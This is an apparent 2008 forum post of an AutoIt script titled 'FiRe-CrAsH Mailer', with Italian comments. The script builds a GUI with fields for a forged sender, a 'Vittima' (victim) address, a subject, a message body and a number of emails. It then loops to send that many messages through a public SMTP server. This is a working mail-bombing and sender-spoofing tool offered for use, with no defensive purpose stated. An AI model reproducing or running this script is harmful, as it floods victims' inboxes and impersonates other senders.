09/03/08 23:31
FiRe-CrAsH
#include <GUIConstants.au3> #include<Inet.au3> #FiRe-CrAsH@msn.com GUICreate("FiRe-CrAsH Mailer", 236, 333, 242, 163, BitOR($WS_MAXIMIZEBOX,$WS_MINIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_SYSMENU,$WS_CAPTION,$WS_OVERLAPPEDWINDOW,$WS_TILEDWINDOW,$WS_POPUP,$WS_POPUPWINDOW,$WS_GROUP,$WS_TABSTOP,$WS_BORDER,$WS_CLIPSIBLINGS)) GUISetBkColor(0x000000) $mittente = GUICtrlCreateInput("", 56, 16, 169, 21) ;Inserisci il mittente ex: FiRe-CrAsH@msn.com GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlSetBkColor(-1, 0x6A6A6A) $vittima = GUICtrlCreateInput("", 56, 48, 169, 21) ; Inserisci la vittima ex: FiRe-CrAsH@msn.com GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlSetBkColor(-1, 0x6A6A6A) GUICtrlCreateLabel("Mittente", 8, 16, 42, 17) GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlCreateLabel("Vittima", 8, 51, 35, 17) GUICtrlSetColor(-1, 0xC0C0C0) $titolo = GUICtrlCreateInput("", 56, 84, 169, 21) ;Inserisci il titolo/Soggetto dell'email GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlSetBkColor(-1, 0x6A6A6A) GUICtrlCreateLabel("Titolo", 7, 84, 30, 17) GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlCreateLabel("Messaggio", 1, 160, 55, 17) GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlCreateLabel("Label3", 32, 128, 36, 17) $msg = GUICtrlCreateEdit("", 56, 160, 169, 161, BitOR($ES_AUTOVSCROLL,$ES_WANTRETURN)) ;Inserisci il messaggio GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlSetBkColor(-1, 0x6A6A6A) $numero = GUICtrlCreateInput("", 58, 121, 169, 21) ; Numero delle email da inviare lascia in bianco per una sola mail GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlSetBkColor(-1, 0x6A6A6A) GUICtrlCreateLabel("Numero", 6, 123, 41, 17) GUICtrlSetColor(-1, 0xC0C0C0) $Invia = GUICtrlCreateButton("Invia", 0, 288, 49, 33, 0) GUICtrlSetColor(-1, 0xC0C0C0) GUICtrlSetBkColor(-1, 0x6A6A6A) GUISetState(@SW_SHOW) While 1 $nMsg = GUIGetMsg() Switch $nMsg case $Invia $ms = guictrlread($msg) for $asd = 0 to guictrlread($numero) step 1 Dim $mess[2] $mess[0] = $ms $mess[1] = "" $server = "mail.libero.it" $mitt = guictrlread($mittente) $vitt = guictrlread($vittima) $tit = guictrlread($titolo) $aa = _inetsmtpmail($server,$mitt,$mitt,$vitt,$tit,$mess) next if $aa = 1 Then msgbox(48,"Read","Mail inviate con successo") Else msgbox(48,"Read","Mail non inviate") endif Case $GUI_EVENT_CLOSE Exit EndSwitch WEnd
aaa